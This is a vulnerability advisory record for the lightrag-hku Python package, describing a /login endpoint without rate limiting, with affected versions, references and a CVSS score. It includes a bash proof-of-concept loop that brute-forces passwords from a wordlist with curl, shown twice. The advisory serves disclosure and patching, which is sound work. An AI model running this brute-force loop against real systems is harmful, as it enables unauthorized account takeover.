PYSEC-2026-4062
Vulnerability from pysec - Published: 2026-10-01 16:38 - Updated: 2026-10-01 17:10Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.
Details
# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
if not auth_handler.verify_password(username, form_data.password):
raise HTTPException(status_code=401, detail="Incorrect credentials")
# No: rate limit / lockout / backoff / CAPTCHA / attempt counter
A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.
PoC
# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST http://<TARGET>:9621/login \
-d "username=admin&password=${pass}")
[ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt
Impact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
| Name | purl | lightrag-hku | pkg:pypi/lightrag-hku |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lightrag-hku",
"purl": "pkg:pypi/lightrag-hku"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.2",
"0.0.3",
"0.0.4",
"0.0.5",
"0.0.6",
"0.0.7",
"0.0.8",
"0.0.9",
"1.0.0",
"1.0.1",
"1.0.3",
"1.0.5",
"1.0.6",
"1.0.8",
"1.0.9",
"1.1.0",
"1.1.1",
"1.1.2",
"1.1.3",
"1.1.4",
"1.1.5",
"1.1.6",
"1.1.7",
"1.2.1",
"1.2.2",
"1.2.3",
"1.2.5",
"1.2.6",
"1.3.0",
"1.3.1",
"1.3.2",
"1.3.3",
"1.3.4",
"1.3.5",
"1.3.6",
"1.3.7",
"1.3.8",
"1.3.9",
"1.4.0",
"1.4.1",
"1.4.10",
"1.4.11",
"1.4.11rc2",
"1.4.12",
"1.4.12rc1",
"1.4.13",
"1.4.13rc1",
"1.4.14",
"1.4.15",
"1.4.16",
"1.4.2",
"1.4.3",
"1.4.4",
"1.4.5",
"1.4.6",
"1.4.7",
"1.4.8.1",
"1.4.8.2",
"1.4.8rc4",
"1.4.8rc6",
"1.4.8rc7",
"1.4.8rc8",
"1.4.8rc9",
"1.4.9",
"1.4.9.1",
"1.4.9.10",
"1.4.9.11",
"1.4.9.2",
"1.4.9.3",
"1.4.9.4",
"1.4.9.4rc1",
"1.4.9.5",
"1.4.9.6",
"1.4.9.7",
"1.4.9.8",
"1.4.9.9",
"1.4.9rc1",
"1.4.9rc2",
"1.4.9rc3",
"1.4.9rc4",
"1.5.0",
"1.5.0rc1",
"1.5.0rc2",
"1.5.0rc3",
"1.5.1",
"1.5.2",
"1.5.3",
"1.5.4",
"1.5.5rc1"
]
}
],
"aliases": [
"CVE-2026-85734",
"GHSA-frch-4w6v-q5xx"
],
"details": "### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n if not auth_handler.verify_password(username, form_data.password):\n raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -X POST http://\u003cTARGET\u003e:9621/login \\\n -d \"username=admin\u0026password=${pass}\")\n [ \"$code\" = \"200\" ] \u0026\u0026 echo \"[FOUND] $pass\" \u0026\u0026 break\ndone \u003c /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.",
"id": "PYSEC-2026-4062",
"modified": "2026-10-01T17:10:27.252888Z",
"published": "2026-10-01T16:38:37.498413Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85734"
},
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/pull/3424"
},
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54"
},
{
"type": "PACKAGE",
"url": "https://github.com/HKUDS/LightRAG"
},
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/lightrag-hku"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-frch-4w6v-q5xx"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.